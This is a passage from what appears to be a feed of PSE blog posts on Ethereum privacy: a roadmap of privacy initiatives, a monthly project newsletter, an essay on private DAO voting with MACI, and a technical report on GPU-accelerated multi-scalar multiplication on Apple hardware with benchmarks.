Private writes **Make private onchain actions as cheap and seamless as public ones.** Improve the feasibility, usability and affordability of writing to Ethereum privately. Whether that’s sending a transfer, casting a vote, or interacting with applications. This track includes longer-term bets on FHE and pushing the cutting-edge towards practical obfuscation. ### (B) Private reads **Enable reads from Ethereum without revealing identity or intent.** Improve network-level privacy to ensure users can query, browse, or authenticate with Ethereum apps without surveillance or metadata leakage. ### (C) Private proving **Make proving any data private and accessible.** Make proof generation and verification fast, private, and accessible. Enable data portability and verifiable data provenance across environments, by delivering purpose-bound, data-minimized proofs for on/off-chain states, web data, documents, and identity attestations. --- These tracks capture what PSE as Privacy Stewards of Ethereum is actively working towards and enabling, both for individuals and institutions. They also serve as rallying points for collaborators across the Ethereum privacy and scaling ecosystem. These focus areas don’t represent everything PSE touches, but they form the backbone of what we’re committed to shipping and advancing. Specific priorities and initiatives within this tracks will vary in their investment timelines and deliverables, and will evolve with the ecosystem, but we expect these general focus areas to persist for the next few years. ## Key initiatives These are PSE’s highest priority initiatives we’re starting or continuing executing on for next 3-6 months. *(numbers for tracking purposes)* **On Private writes** ### (1) Private transfers - Continue [PlasmaFold](https://pse.dev/projects/plasma-fold) - Add privacy transfer features using PCD and folding. Targeting PoC by Devconnect - Add post-quantum accumulation scheme. - Work with Intmax and other ecosystem players on path to integration. - Support Kohaku (privacy wallet PoC). - Implement zk account recovery combination framework of N of M methods - *Oversight of keystore implementation for stealth addresses - .. and more on private reads side - Map and publish report with different technology approaches to private transfers. ### (2) Private governance - Present a ‘State of private voting 2025’ report. - Collaborate with teams on a new private voting protocol/assist with existing efforts. - Continue work with Aragon and other integrations. ### (3) Confidential DeFi - Kick off IPTF (Institutional Privacy Task Force) with EF EcoDev Enterprise team. - Unblock institutional adoption, via privacy specifications and/or PoCs. ### (4) Private computation - Continue long-term bets on programmable privacy (practical iO, vFHE) - Continue [MachinaIO](https://pse.dev/projects/machina-io) - Oversee [Phantom Zone](https://phantom.zone/) [grant](https://www.notion.so/20dd57e8dd7e80aba5cbd130a2c2ef0f?pvs=21) - This nurtures the ecosystem with cutting edge research. - Continuing ecosystem mapping like [‘Open, Application-Driven FHE for Ethereum’](https://ethresear.ch/t/open-application-driven-fhe-for-ethereum/23044) **On Private reads** ### (5) Network privacy - Kick off Private RPC working group with internal researchers/engineers and external advisors - Kohaku on private RPC: collaborate on privacy-preserving reading of the Ethereum state from remote RPC nodes by integrating an ORAM solution - Broadcast privacy: bring privacy by routing transactions through mixnet. Spec (eth2p2p discv5) and implement the sphinx mixing protocol. - End points with privacy-preserving RPC nodes: adding this and other privacy features into a browser with all privacy batteries included by default - Methodically study the SOTA of ORAM and PIR and share insights in peer-reviewed venues - Translate the outcomes of research research into ORAM and PIR into the Ethereum user experience: wallets, browser, and RPC nodes. **On Private proving** ### (6) Data portability - Advance development of data provenance protocols and tools. In particular - **Stabilize and optimize TLSNotary:** make our open-source, neutral and secure zkTLS protocol production ready for others to adopt and build other zkTLS protocols on top. - **SDK:** build an SDK that enables seamless integration of the TLSNotary protocol across mobile, server, and browser platforms, improving DevEx and time to market for teams. - **Accelerate the ecosystem:** drive adoption and innovation in zkTLS with community initiatives (e.g., zkTLS Day, X spaces, blogs), emphasizing privacy and robust security. ### (7) Private identity - Advance the development of standards for generic zk-snarks - Develop a modular, privacy-preserving ZKP wallet unit providing unlinkable verifiable presentations aligned with the EUDI. - Research and develop revocation frameworks that support unlinkable and scalable credential revocation. - Steward the digital identity ecosystem by advocating Ethereum and L2s as decentralized trust registries ### (8) Client-side proving - [Continue applied research on efficient, practical, ZK proving systems](https://pse.dev/projects/client-side-proving) - Credibly neutral benchmarking, drawing inspiration from [ethproofs.org](http://ethproofs.org/) - Includes efforts on [Mopro](https://pse.dev/projects/mopro), [PPD](https://pse.dev/projects/private-proof-delegation), and Noir acceleration, a joint effort between the EF, Aztec, and other partners to improve Noir's security, tools, and ecosystem to ensure that the next generation of private applications can be secured on Ethereum, in line with the [EF’s 1TS initiative](https://ethereum.org/en/trillion-dollar-security/) and enterprise adoption goals. ### (9) Privacy experience (PX) - Holistic view of privacy experience from users’ perspective applied across all 3 tracks - Identifying design patterns, commons interfaces, tools/specs/standards needed. - Will include design, comms, events, website work to support privacy efforts. # Next Steps So where do we go from here? If you’re building privacy, we want to work with you. Whether we collaborate through working groups, standards, by sharing research, or just by rooting for your project. If you read all this way and saw something that didn’t make sense or could be better, we want to hear from you! What did we miss? What’s being mis-prioritized? What’s been over invested? If you want to reach us over chat please go for [ethresearch discord](https://t.co/EqHJvFlv9E) in the #privacy channel. Find our work at [pse.dev/projects](https://pse.dev/projects) and [pse.dev/research](https://pse.dev/research). Learn our published work at both [ethresear.ch](https://ethresear.ch/) and [ethereum-magicians.org](https://ethereum-magicians.org/). Hope to see you all at Devconnect in one of the following events we’ll be present, organizing, or supporting: Ethereum Cypherpunk Congress, Privacy Community Hub, zkTLS Day, zkID Day, Ethereum Privacy Stack, Encryption Days, Noircon2, and many more]]> Ethereum Privacy Roadmap Zero-Knowledge Decentralization FHE MPC TEE <![CDATA[PSE August 2025 newsletter]]> https://pse.dev/blog/pse-august-2025-newsletter https://pse.dev/blog/pse-august-2025-newsletter Fri, 08 Aug 2025 00:00:00 GMT <![CDATA[Check out what PSE teams have been focused last month, July 2025!]]> <![CDATA[ Welcome to the August edition of the PSE newsletter! Last month we saw steady progress across research, development, and bridging efforts, with new protocols, performance optimizations, and ecosystem collaborations taking shape. Here’s a look at what each team has been up to. ## 🧪 Research Highlights ### [Client-Side Proving](https://pse.dev/en/projects/client-side-proving) In July, we continued steady progress on our client-side proving benchmarks according to our roadmap. We integrated benchmark code for SHA-256 circuits in RIS0 and Jolt zkVMs, as well as World’s ProveKit , building upon previous work initiated for zkID. Additionally, we developed a CI workflow to run these benchmarks in parallel, improving our benchmarking efficiency. As the Ceno zkVM (GKR+WHIR) lacked a complete SHA-256 circuit, we developed one, which will be included in benchmarks once integrated into the Ceno repository. These efforts are crucial preparations for our upcoming Client-Side Proving Quarterly Report, aimed at providing comprehensive benchmark data to inform the broader community. We have also begun evaluating promising client-side proving systems such as HyperPlonk-WHIR and SuperSpartan-WHIR. Our initial assessments will help determine which of these proving systems offer superior performance for mobile applications, advancing our objective of optimizing client-side proving. ### [Post-Quantum Cryptography](https://pse.dev/en/projects/post-quantum-cryptography) We have been collaborating with FairMath and OpenFHE to refine and define the application and use case we are focusing on. Our main goal is to address the problem of privacy in decentralized finance (DeFi) by enabling composable private states without relying on a central trust anchor. A key aspect of this is ensuring that contract state remains encrypted while still supporting native computation over that state, which is made possible through fully homomorphic encryption (FHE). This sets the research agenda for building a truly private, verifiable, and scalable FHE-enabled virtual machine (FHEVM), while delivering immediate, application-specific privacy layers in the near term. By eliminating the risks associated with a single point of data and avoiding the use of a global key, we ensure that privacy is maintained across different DeFi protocols. ### [PlasmaFold](https://pse.dev/projects/plasma-fold) We released our paper in mid-July [PlasmaFold: An Efficient and Scalable Layer 2 with Client-Side Proving](https://eprint.iacr.org/2025/1300). We were thrilled by the reception it got and received some great feedbacks from different teams and people in the space. PlasmaFold demonstrated how folding schemes helps to run complex proving jobs with a realistic proving speed and within resource-constrained environments. ### [Indistinguishability Obfuscation (iO)](https://pse.dev/en/projects/machina-io) We built and implemented a public lookup evaluation technique on BGG+ encodings. This enables more efficient arithmetic and non-linear computation using the encodings of public data. We will publish a paper about the technique and its benchmark results! ## ⚙️ Development Highlights ### [Verifiable OPRF (vOPRF)](https://pse.dev/en/projects/voprf) We built the circuits necessary for the client-side proving part, and created the initial skeleton for client-server workflow. This demonstrates the concepts and gives us benchmarks of the performance. Next we will harden the protocol to [optionally] handle multiple servers that together compute the nullifier, and apply the protocol to specific use cases. ### [TLSNotary](https://pse.dev/en/projects/tlsn) TLSNotary is marching steadily toward a production-ready 1.0 release, entering a new phase focused on modularity and ease of integration. A lean, plugin-based SDK is in development to reduce maintenance overhead while supporting a wide range of use cases. In parallel, a minimal rewrite of the browser extension is underway, prioritizing user privacy, application-specific plugins, and a lightweight UI designed as a reusable component. Recent engineering work includes refactoring core components to support more efficient authentication modes and to make the proof/verify logic reusable across contexts. WASM performance is being benchmarked and optimized, and a direct browser-to-verifier demo is now functional—eliminating the need for a notary server and paving the way for more trust-minimized deployments. ### [MACI](https://pse.dev/en/projects/maci) MACI is focussing around two key goals over the next month: 1) mapping the private governance space and solidifying a renewed strategy, 2) continuing MACI V4 research, with a core goal of decentralising the coordinator. At the same time, an important priority will be maintaining and support existing integrations. We have also started benchmarking our existing circom circuits against the same circuits written in Noir to assess whether V4 should be written in Noir. ### [zk-kit](https://pse.dev/en/projects/zk-kit) We fixed a bug in the BinaryMerkleRoot circom circuit and publish a blogpost explaining the issue. We also released a new Community Guide, migrated all repositories to the new ZK-Kit GitHub org, and began a website redesign. Next, we are focused on finding more contributors and maintainers to make ZK-Kit fully community-owned. ### [MPC Framework](https://pse.dev/en/projects/mpc-framework) We’re been working on speaking and producing public material. We released a sassy YouTube video about Ballpark, and Andrew had multiple speaking engagements. Meanwhile, we’ve also begun work on private auctions. ### [Mopro](https://pse.dev/en/projects/mopro) Over the past month, we worked on building and releasing Semaphore mobile packages for Swift, Kotlin, React Native, and Flutter. This now enables developers to build Semaphore-based apps not only for the web, but also seamlessly on iOS and Android. It’s exciting to see the ecosystem becoming truly cross-platform! We also contributed to publishing two blog posts—one summarizing our latest findings from GPU prover research, and another recapping our experience at ETHGlobal Cannes. You can read both at [zkmopro.org/blog](https://zkmopro.org/blog). ### [POD2](https://pse.dev/en/projects/pod2) We have been building two applications on top of pod2: a document publishing system with comments and upvotes and a frog game 🐸 We have worked on optimizing the circuits and improving the developer experience based on the feedback from the app builders. We have introduced a new operation to derive public keys from private keys that can be used to build nullifiers. We have started working on the on-chain verification of pods. ### [zkID](https://pse.dev/en/projects/zk-id) We continue the work on the zkp Wallet Unit. We completed the circuits over the P256 base field, including the first right-field circom implementation of ECDSA verification over P256. We are making progress towards compiling this for a Spartan + Hyrax backend over the T256 curve tower, and modifying the proof system to use re-randomisable commitments. This will yield a largely preprocessed and efficient prover. Other significant strides across several key initiatives include: - Completing the 1st draft of the zkID roadmap, outlining our upcoming milestones and long-term vision - Completing research into OFAC compliance considerations for zk-KYC - Launched early outreach for zkID Day at Devconnect - [express interest here](https://docs.google.com/forms/d/1fQyL-2PaXx0d5-ieiJkwI5Ypl1p5VAbBA2i0AIrSlH8/edit) - Collected valuable community feedback on zkPDF to guide future improvements - Integrating the Spartan Hydrax Backend ### [Semaphore](https://pse.dev/en/projects/semaphore) We updated the Semaphore circuit, proof library and smart contracts after fixing a critical bug in the ZK-Kit BinaryMerkleRoot Circom circuit. Following this, we ran an internal Trusted Setup Ceremony and released a new beta version with the fix included. The public Semaphore Trusted Setup Ceremony is now live, and you're inviting contributions here: [https://ceremony.pse.dev/projects/Semaphore Binary Merkle Root Fix](https://ceremony.pse.dev/projects/Semaphore%20Binary%20Merkle%20Root%20Fix) Next, you plan to release a new Semaphore version once the public ceremony concludes. We are also preparing an EthResearch post on LeanIMT and beginning research into how Semaphore can be used to address challenges in the Private Governance space. ]]> zero-knowledge cryptography client-side-proving fully-homomorphic-encryption decentralized-identity zk-governance privacy TLSNotary MACI Semaphore ZK-Kit zkid PlasmaFold vOPRF mpc pod2 mopro research development <![CDATA[The case for privacy in DAO voting]]> https://pse.dev/blog/the-case-for-privacy-in-dao-voting https://pse.dev/blog/the-case-for-privacy-in-dao-voting Thu, 07 Aug 2025 00:00:00 GMT <![CDATA[Private voting prevents corruption, enables more honest participation, and unlocks the full potential of decentralized governance. This post explains why privacy matters, how MACI enables it, and what comes next.]]> <![CDATA[ # Transparent by default _“For over a century, it has been recognized that a key technical component making democracy work is the **secret ballot**: no one knows who you voted for, and furthermore, you do not have the ability to prove to anyone else who you voted for, even if you really want to.”_ [- Vitalik Buterin](https://vitalik.eth.limo/general/2025/04/14/privacy.html) Private voting prevents side games, which can lead to all sorts of perverse incentives (like bribes), which can corrupt votes or produce outcomes that are misaligned with the original intention of having the vote in the first place. Private voting also prevents collusion, where coordination between participants prevents individuals from expressing their true preferences. In general, [“whoever has the information has the power, ergo we need to avoid centralized control over information](https://vitalik.eth.limo/general/2025/04/14/privacy.html)” - so less information leak is a good thing. Privacy is needed for technological progress. As Ethereum scales and adoption grows, financial and non-financial use cases for the technology increasingly rely on privacy as a necessary component. Lack of privacy locks us into a local maxima - the true potential of DAOs and decentralized governance only gets unlocked after privacy tools are good enough, and become fully integrated into the governance stack. As important as privacy may be, there are also legitimate tradeoffs to recognize. Ethereum is fully transparent by default because technologies such as zero-knowledge proofs were not practically available when Ethereum was first launched. As a result, transparency - and the readability and accountability that comes with it - are still seen as positive attributes. A [recent post](https://blog.shutter.network/dao-voting-confidence-is-in-decline-how-to-restore-it/) by Decent DAO captures the sentiment well: _“DAOs were supposed to revolutionize governance. In the crypto community, many of us believed that by putting governance on the blockchain – transparently recorded and executed by code - we’d avoid the pitfalls of traditional systems.”_ In [an Optimism Collective discussion](https://gov.optimism.io/t/exploring-shielded-voting-enhancing-governance-on-optimism/8779/3) about shielded voting, community members have pointed out that private voting _“also eliminates the potential benefit of understanding the rationale behind others’ votes. Reading others’ reasoning before casting your vote can enrich your thought process by introducing new angles or considerations that you might not have initially considered (and even make you reconsider your initial stance).”_ Transparency, for all its faults, is highly legible and traceable, so it produces information that may actually improve the quality of the vote. Public voting is a necessary mechanism to judge the quality of delegated or representative voting. Privacy shouldn’t be a binary all-or-nothing choice, but a trade-off dependent on the context. A modular instead of monolithic design choice. Let everyone have what they want, the Ethereum way! # MACI: The private voting protocol for DAOs The idea for [MACI](https://maci.pse.dev/) was first proposed in an [ethresearch post from Vitalik](https://ethresear.ch/t/minimal-anti-collusion-infrastructure/5413) in 2019. Since then, the case has been made again and again that [blockchain voting is important](https://vitalik.eth.limo/general/2021/05/25/voting2.html) and [privacy is essential](https://vitalik.eth.limo/general/2025/04/14/privacy.html). And more recently, we’ve seen huge [DAOs destabilized by vote buying](https://x.com/DefiIgnas/status/1909554283445387366). As DAOs evolve and mature, the need for private voting is becoming more apparent. [Decent DAO is exploring shielded voting](https://blog.shutter.network/dao-voting-confidence-is-in-decline-how-to-restore-it/), and community members have expressed the [desire for hidden ballots](https://x.com/LefterisJP/status/1921562225333916094) for important Ethereum DAO votes. Privacy-preserving voting infrastructure such as MACI provides a solution to private voting, but adoption has been lacking, so we are working to change that. We hope that by integrating MACI into decentralized governance stacks and making improvements to the core protocol, DAOs and the communities they represent will have more options for higher quality, collective decision making - you can follow us on X to stay in the loop. The best introduction for learning how MACI works is [this PSE article](https://maci.pse.dev/blog/maci-1-0-technical-introduction), but if you’re strapped for time, here is a high level summary: ![image.webp](/articles/the-case-for-privacy-in-dao-voting/1.webp) https://maci.pse.dev/blog/maci-1-0-technical-introduction In MACI, there are two roles: voters and the coordinator. At its most basic, MACI votes are encrypted so no outside party can read them, and the vote results are verified using a zero-knowledge proof so no one can tamper with the results (not even the coordinator). Smart contracts on Ethereum ensure censorship resistance and the system runs as programmed. MACI relies on zkSNARKs or zero-knowledge proofs (ZKP) that verify a mathematical equation is true without revealing any other information. Very simply, all the votes, the validity of voters, and the outcome of the votes are turned into a mathematical equation that is verified by the ZKP. The ZKP is why the coordinator cannot change or falsify the outcome of the vote. In Vitalik’s [post on privacy](https://vitalik.eth.limo/general/2025/04/14/privacy.html), he explains “Programmable cryptography techniques like zero-knowledge proofs are powerful, because **they are like Lego bricks for information flow**.” We intend to make the Lego bricks of zero-knowledge proofs easier to work with for DAOs and Ethereum in general. ![image.webp](/articles/the-case-for-privacy-in-dao-voting/2.webp) https://maci.pse.dev/docs/introduction --- ## Next steps We hope you are now as motivated to solve privacy in the governance space as we are! As well as pursuing integrations, the MACI team is excited to be undertaking research into a new version of the protocol that makes notable improvements to the trust assumptions of the protocol - stay tuned for announcements on our work over the next month. DAO stacks, voting stacks, and decentralizing governance infrastructure teams - if you’re interested in MACI as a secure, private, zkSNARK-powered voting plug-in for your stack, please reach out to us at [PSE Discord](https://pse.dev/discord). ]]> privacy governance DAOs MACI zkSNARKs <![CDATA[Metal MSM v2: Exploring MSM Acceleration on Apple GPUs]]> https://pse.dev/blog/mopro-metal-msm-v2 https://pse.dev/blog/mopro-metal-msm-v2 Mon, 28 Jul 2025 00:00:00 GMT <![CDATA[Metal MSM v2 delivers GPU acceleration improvements for Multi-Scalar Multiplication on Apple devices, laying groundwork for efficient mobile proving in privacy-preserving applications.]]> <![CDATA[ ## Key Takeaways - Hybrid CPU-GPU approaches are essential for fully exploiting limited hardware such as mobile devices, improving MSM computation and accelerating proof generation. - To unify GPU acceleration efforts, [WebGPU's](https://www.w3.org/TR/webgpu/) vendor-agnostic API and [WGSL](https://www.w3.org/TR/WGSL/) offer promising solutions that compile to native formats like [SPIR-V](https://registry.khronos.org/SPIR-V/) (for Vulkan on Android) and [MSL](https://developer.apple.com/metal/Metal-Shading-Language-Specification.pdf) (for Metal on Apple devices). - GPU acceleration for post-quantum proving systems could enable their widespread adoption. ## Introduction GPU acceleration harnesses the massive parallelism of Graphics Processing Units (GPUs) to dramatically speed up tasks that would otherwise overwhelm traditional CPUs. Because GPUs can execute thousands of threads simultaneously, they have become indispensable for compute-intensive workloads such as machine-learning model training and modern cryptographic algorithms. This technology plays a crucial role in advancing privacy-preserving applications, as zero-knowledge proofs (ZKPs) currently face a significant bottleneck due to the high computational cost of their core operations. By accelerating these operations, we can generate proofs more quickly and cost-effectively, which is essential for the broader adoption of privacy-focused solutions across Ethereum and other blockchain platforms. Currently, research on GPU acceleration for cryptography remains fragmented, with each platform relying on its own framework: [Metal](https://developer.apple.com/metal/) on Apple devices, [Vulkan](https://developer.nvidia.com/vulkan) on Android, and [CUDA](https://en.wikipedia.org/wiki/CUDA) on NVIDIA hardware. Aside from CUDA, most GPU frameworks lack mature ecosystems of cryptographic libraries (e.g., NVIDIA's [cuPQC](https://github.com/NVIDIA/CUDALibrarySamples/tree/master/cuPQC) and [cuFFT](https://github.com/NVIDIA/CUDALibrarySamples/tree/master/cuFFT)). Therefore, [Mopro](https://github.com/zkmopro/mopro) is investing in GPU acceleration through related grants ([Issue #21](https://github.com/zkmopro/mopro/issues/21), [Issue #22](https://github.com/zkmopro/mopro/issues/22), and [Issue #153](https://github.com/zkmopro/mopro/issues/153)), as it advances our mission to make mobile proving both accessible and practical. ## A Primer on Multi-Scalar Multiplication [Multi-Scalar Multiplication (MSM)](https://hackmd.io/@drouyang/SyYwhWIso) is an essential primitive in elliptic curve cryptography, particularly in pairing-based proving systems widely used for privacy-preserving applications. MSM involves computing a sum of the form $Q = \sum_{i=1}^{n}(k_i \cdot P_i)$, where $k_i$ are scalars and $P_i$ are points on an elliptic curve, such as [BN254](https://hackmd.io/@jpw/bn254). This computationally intensive operation is ideal for GPU acceleration. [Metal MSM v2](https://github.com/zkmopro/gpu-acceleration/tree/v0.2.0) is an open-source implementation, licensed under MIT and Apache 2.0, that optimizes MSM on Apple GPUs using the Metal Shading Language (MSL). Building on its predecessor, Metal MSM v2 offers significant performance improvements through algorithmic and GPU-specific optimizations, laying the foundation for further research into mobile proving acceleration with GPUs. ## Recap on Metal MSM v1 [The first version of Metal MSM](https://github.com/zkmopro/gpu-acceleration/releases/tag/v0.1.0) (v1) was an initial attempt to bring MSM computations on the BN254 curve to Apple GPUs, leveraging parallelism and optimizations like precomputation from the EdMSM paper by Bootle et al.[^1]. While it showed the potential for GPU acceleration, profiling result revealed key limitations: - **Low GPU Occupancy:** At only 32%, the GPU was underutilized, leading to inefficient computation. - **High Memory Footprint:** Peak VRAM usage was excessive, causing GPU hang errors on real mobile devices for instance sizes ≥ 2^14. - **Performance Bottlenecks:** For an input size of 2^20 points, v1 took 41 seconds on an M1 Pro MacBook, indicating substantial room for improvement. These challenges drove the development of a newer version, which introduces targeted optimizations to address these issues. For full context, refer to the detailed [Metal MSM v1 Summary Report](https://hackmd.io/Q6c2LUxzTzGlEcZF1NBRpA) and [Metal MSM v1 Profiling Report](https://hackmd.io/@moven0831/profiling-metal-msm). ## Metal MSM v2: What's New Metal MSM v2 introduces key enhancements over v1, significantly improving performance and resource efficiency. It adopts the sparse matrix approach from the cuZK paper by Lu et al.[^2], treating MSM elements as sparse matrices to reduce memory usage and convert operations described in [Pippenger's algorithm](https://dl.acm.org/doi/10.1109/SFCS.1976.21) into efficient sparse matrix algorithms. The implementation draws inspiration from [Derei and Koh's WebGPU MSM implementation](https://github.com/z-prize/2023-entries/tree/main/prize-2-msm-wasm/webgpu-only/tal-derei-koh-wei-jie) for [ZPrize 2023](https://www.zprize.io/#2023). However, targeting the BN254 curve (unlike the BLS12-377 curve used by Zprize 2023) required different optimization strategies, particularly for Montgomery multiplications and for using Jacobian coordinates instead of projective or extended twisted Edwards coordinates. Due to differences between shading languages (CUDA for cuZK, WGSL for WebGPU, and MSL for Metal), additional GPU programming efforts were necessary. For instance, dynamic kernel dispatching, which is straightforward in CUDA, required workarounds in Metal through host-side dispatching at runtime. Key improvements include: - **Dynamic Workgroup Sizing**: Workgroup sizes are adjusted based on input size and GPU architecture using a `scale_factor` and `thread_execution_width`. These parameters were optimized through experimentation to maximize GPU utilization as mentioned in [PR #86](https://github.com/zkmopro/gpu-acceleration/pull/86). - **Dynamic Window Sizes**: A [window_size_optimizer](https://github.com/zkmopro/gpu-acceleration/commit/f5c3fcd2dd1e32766e5713a5d8e6e19ebe00f6f6) calculates optimal window sizes using a cost function from the cuZK paper, with empirical adjustments for real devices, as detailed in [PR #87](https://github.com/zkmopro/gpu-acceleration/pull/87). - **MSL-Level Optimizations**: Loop unrolling and explicit access qualifiers, implemented in [PR #88](https://github.com/zkmopro/gpu-acceleration/pull/88), enhance kernel efficiency, with potential for further gains via SIMD refactoring. Benchmarks on an M3 MacBook Air with 24GB memory show 40x–100x improvements over v1 and ~10x improvement over [ICME Labs' WebGPU MSM](https://github.com/ICME-Lab/msm-webgpu) on BN254, adapted from Derei and Koh's BLS12-377 work. While still slower than CPU-only [Arkworks MSM](https://github.com/arkworks-rs) on small & medium input sizes, v2 lays the groundwork for a future CPU+GPU hybrid approach. ## How Metal MSM v2 Works The general flow follows [Koh's technical writeup](https://hackmd.io/HNH0DcSqSka4hAaIfJNHEA). We pack affine points and scalars on the CPU into a locality-optimized byte format, upload them to the GPU, and encode points into Montgomery form for faster modular multiplications. Scalars are split into [signed chunks](https://hackmd.io/@drouyang/signed-bucket-index) to enable the [Non-Adjacent Form (NAF)](https://hackmd.io/HkVWGwsRTM2HeBL1VN0lAw) method, halving both bucket count and memory during accumulation. Next, we apply a parallel sparse-matrix transposition (adapted from Wang et al.'s work[^3]) to identify matching scalar chunks and group points into buckets. Then, using a sparse-matrix–vector product (SMVP) and the `pBucketPointsReduction` algorithm (Algorithm 4 in the cuZK paper[^2]), we split buckets among GPU threads, compute each thread's running sum, and scale it by the required factor. After GPU processing, we transfer each thread's partial sums back to the CPU for final aggregation. Since the remaining point count is small and [Horner's Method](https://en.wikipedia.org/wiki/Horner%27s_method) is sequential and efficient on the CPU, we perform the final sum there. The use of sparse matrices is a key innovation in Metal MSM v2, reducing memory requirements and boosting parallelism compared to previous approaches. ## Understanding the Theoretical Acceleration Upper Bound In the Groth16 proving system, Number Theoretic Transform (NTT) and MSM account for 70–80% of the proving time. According to [Amdahl's Law](https://en.wikipedia.org/wiki/Amdahl%27s_law), the maximum speedup is limited by unoptimized components: $$ \text{Speedup}_{\text{overall}} = \dfrac{1}{(1 - \text{time}_{\text{optimized}}) + \dfrac{\text{time}_{\text{optimized}}}{\text{speedup}_{\text{optimized}}}} $$ If 80% of the prover time is optimized with infinite speedup, the theoretical maximum is 5x. However, data I/O overhead reduces practical gains. For more details, see [Ingonyama's blog post on Hardware Acceleration for ZKP](https://medium.com/@ingonyama/revisiting-paradigms-hardware-acceleration-for-zero-knowledge-proofs-5dffacdc24b4). ## Benchmark Results Benchmarks conducted on an M3 MacBook Air compare Metal MSM v2 with the Arkworks v0.4.x CPU implementation across various input sizes. ![Metal MSM v2 Benchmark Results](/articles/mopro-metal-msm-v2/metal-msm-v2-benchmark.webp)
Scheme Input Size (ms)
212 214 216 218 220 222 224
Arkworks v0.4.x
(CPU, Baseline)
6 19 69 245 942 3,319 14,061
Metal MSM v0.1.0
(GPU)
143
(-23.8x)
273
(-14.4x)
1,730
(-25.1x)
10,277
(-41.9x)
41,019
(-43.5x)
555,877
(-167.5x)
N/A
Metal MSM v0.2.0
(GPU)
134
(-22.3x)
124
(-6.5x)
253
(-3.7x)
678
(-2.8x)
1,702
(-1.8x)
5,390
(-1.6x)
22,241
(-1.6x)
ICME WebGPU MSM
(GPU)
N/A N/A 2,719
(-39.4x)
5,418
(-22.1x)
17,475
(-18.6x)
N/A N/A
ICICLE-Metal v3.8.0
(GPU)
59
(-9.8x)
54
(-2.8x)
89
(-1.3x)
149
(+1.6x)
421
(+2.2x)
1,288
(+2.6x)
4,945
(+2.8x)
ElusAegis' Metal MSM
(GPU)
58
(-9.7x)
69
(-3.6x)
100
(-1.4x)
207
(+1.2x)
646
(+1.5x)
2,457
(+1.4x)
11,353
(+1.2x)
ElusAegis' Metal MSM
(CPU+GPU)
13
(-2.2x)
19
(-1.0x)
53
(+1.3x)
126
(+1.9x)
436
(+2.2x)
1,636
(+2.0x)
9,199
(+1.5x)
> Negative values indicate slower performance relative to the CPU baseline. The performance gap narrows for larger inputs. Notes: - For ICME WebGPU MSM, input size 2^12 causes M3 chip machines to crash; sizes not listed on the project's GitHub page are shown as "N/A" - For Metal MSM v0.1.0, the 2^24 benchmark was abandoned due to excessive runtime. While Metal MSM v2 isn't faster than CPUs across all hardware configurations, its open-source nature, competitive performance relative to other GPU implementations, and ongoing improvements position it well for continued advancement. ## Profiling Insights Profiling on an M1 Pro MacBook provides detailed insights into the improvements from v1 to v2: | metric | v1 | v2 | gain | |---|---|---|---| | end-to-end latency | 10.3 s | **0.42 s** | **24x** | | GPU occupancy | 32 % | **76 %** | +44 pp | | CPU share | 19 % | **<3 %** | –16 pp | | peak VRAM | 1.6 GB | **220 MB** | –7.3× | These metrics highlight the effectiveness of v2's optimizations: - **Latency Reduction:** A 24-fold decrease in computation time for 2^20 inputs. - **Improved GPU Utilization:** Occupancy increased from 32% to 76%, indicating better use of GPU resources. - **Reduced CPU Dependency:** CPU share dropped below 3%, allowing the GPU to handle most of the workload. - **Lower Memory Footprint:** Peak VRAM usage decreased from 1.6 GB to 220 MB, a 7.3-fold reduction. Profiling also identified buffer reading throughput as a primary bottleneck in v1, which v2 mitigates through better workload distribution and sparse matrix techniques. See detailed profiling reports: [v1 Profiling Report](https://hackmd.io/@yaroslav-ya/rJkpqc_Nke) and [v2 Profiling Report](https://hackmd.io/@yaroslav-ya/HyFA7XAQll). ## Comparison to Other Implementations Metal MSM v2 is tailored for Apple's Metal API, setting it apart from other GPU-accelerated MSM implementations: - **Derei and Koh's WebGPU MSM on BLS12**: Designed for WebGPU, this implementation targets browser-based environments and may not fully leverage Apple-specific hardware optimizations. - **ICME labs WebGPU MSM on BN254**: Adapted from Derei and Koh's WebGPU work for the BN254 curve, it is ~10x slower than Metal MSM v2 for inputs from 2^16 to 2^20 on M3 MacBook Air. - **cuZK**: A CUDA-based implementation for NVIDIA GPUs, operating on a different hardware ecosystem and using different algorithmic approaches. Metal MSM v2's use of sparse matrices and dynamic workgroup sizing provides advantages on Apple hardware, particularly for large input sizes. While direct benchmark comparisons are limited, internal reports suggest that v2 achieves performance on par with or better than other WebGPU/Metal MSM implementations at medium scales. It's worth noting that the state-of-the-art Metal MSM implementation is [Ingonyama's ICICLE-Metal](https://medium.com/@ingonyama/icicle-goes-metal-v3-6-163fa7bbfa44) (since ICICLE v3.6). Readers can try it by following: - [ICICLE Rust MSM example](https://github.com/ingonyama-zk/icicle/tree/main/examples/rust/msm) - [Experimental BN254 Metal benchmark](https://github.com/moven0831/icicle/tree/bn254-metal-benchmark) Another highlight is [ElusAegis' Metal MSM implementation](https://github.com/ElusAegis/metal-msm-gpu-acceleration) for BN254, which was forked from version 1 of Metal MSM. To the best of our knowledge, his pure GPU implementation further improves the allocation and algorithmic structure to add more parallelism, resulting in **2x** faster performance compared to Metal MSM v2. Moreover, by integrating this GPU implementation with optimized MSM on the CPU side from the [halo2curves](https://github.com/privacy-scaling-explorations/halo2curves) library, he developed a hybrid approach that splits MSM tasks between CPU and GPU and then aggregates the results. This strategy achieves an additional **30–40%** speedup over a CPU-only implementation. This represents an encouraging result for GPU acceleration in pairing-based ZK systems and suggests a promising direction for Metal MSM v3. ## Future Work The Metal MSM team has outlined several exciting directions for future development: - **SIMD Refactoring:** Enhance SIMD utilization and memory coalescing to further boost performance. - **Advanced Hybrid Approach:** Integrate with Arkworks 0.5 for a more sophisticated CPU-GPU hybrid strategy. - **Android Support**: Port kernels to Vulkan compute/WebGPU on Android, targeting Qualcomm Adreno (e.g., Adreno 7xx series) and ARM Mali (e.g., G77/G78/G710) GPUs. - **Cross-Platform Support:** Explore WebGPU compatibility to enable broader platform support. - **Dependency Updates:** Transition to newer versions of [objc2](https://github.com/madsmtm/objc2) and [objc2-metal](https://crates.io/crates/objc2-metal), and Metal 4 to leverage the latest [MTLTensor features](https://developer.apple.com/videos/play/wwdc2025/262/), enabling multi-dimensional data to be passed to the GPU. Beyond these technical improvements, we are also interested in: - **Exploration of PQ proving schemes:** With the limited acceleration achievable from pairing-based proving schemes, we're motivated to explore PQ-safe proving schemes that have strong adoption potential over the next 3–5 years. These schemes, such as lattice-based proofs, involve extensive linear algebra operations that can benefit from GPUs' parallel computing capabilities. - **Crypto Math Library for GPU:** Develop comprehensive libraries for cryptographic computations across multiple GPU frameworks, including Metal, Vulkan, and WebGPU, to expand 